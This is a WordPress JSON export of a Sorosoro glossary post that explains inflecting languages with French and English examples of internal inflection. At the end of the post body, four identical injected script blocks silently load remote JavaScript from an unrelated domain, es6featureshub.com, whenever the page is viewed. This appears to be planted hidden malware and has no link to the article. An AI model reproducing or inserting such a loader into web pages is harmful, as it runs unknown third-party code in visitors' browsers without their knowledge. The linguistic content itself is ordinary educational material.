{"id":66999,"date":"2015-09-05T15:05:52","date_gmt":"2015-09-05T13:05:52","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66999"},"modified":"2025-10-21T21:56:20","modified_gmt":"2025-10-21T19:56:20","slug":"inflecting-language","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2015\/09\/inflecting-language\/","title":{"rendered":"Inflecting language"},"content":{"rendered":"<p>An inflecting language is language where the form of words change for grammatical reasons. In terms of typology, an inflecting language is opposed to an isolating or a agglutinative language because of an inflecting morphology: stem+affix (which doesn\u2019t exist in isolating languages), with a certain type of irregularity in the inflection (contrary to agglutinative languages).<\/p>\n<p>In French: cheval (singular of \u201chorse\u201d) \/ chevaux (plural), it\u2019s impossible to find the suffix -s, usual marker of the plural form.<\/p>\n<p>One of the common characteristics of languages considered as inflecting is the dynamic of \u201cinternal inflection\u201d where inflection doesn\u2019t consist in adding a suffix or a prefix but requires a sound change of the stem itself.<\/p>\n<p>Thus, we\u2019ve seen cheval\/chevaux in French, which is an internal inflection, but we can also consider the verbal stem sing in English, which can appear as follows (I) sing (present), (I) sang (past), sung (past participle). We can also consider the pair man (singular)\/men (plural). In both cases, inflection appears through a sound change, while modifying a vowel within the stem.<\/p>\n<p>Latin languages such as French are usually considered as inflecting.<\/p>\n<p><em>Note: The limits of morphological typology of languages distinguishing agglutinative languages from inflecting and isolating languages are often very vague. Those languages should be considered as \u201cpoles\u201d towards which the morphology of a language is headed.<\/p>\n<p>As explained before, no language is \u201cexclusively isolating\u201d. There are always a few inflecting characteristics. On the other hand, languages considered as \u201cagglutinative\u201d show, by definition, an inflection, but certain characteristics are usually more regular than for languages said to be \u201cinflecting\u201d.<\/em><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>An inflecting language is language where the form of words change for grammatical reasons. In terms of typology, an inflecting language is opposed to an isolating or a agglutinative language because of an inflecting morphology: stem+affix (which doesn\u2019t exist in isolating languages), with a certain type of irregularity in the inflection (contrary to agglutinative languages). [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-66999","post","type-post","status-publish","format-standard","hentry","category-other"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Inflecting language - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2015\/09\/inflecting-language\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Inflecting language - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"An inflecting language is language where the form of words change for grammatical reasons. In terms of typology, an inflecting language is opposed to an isolating or a agglutinative language because of an inflecting morphology: stem+affix (which doesn\u2019t exist in isolating languages), with a certain type of irregularity in the inflection (contrary to agglutinative languages). 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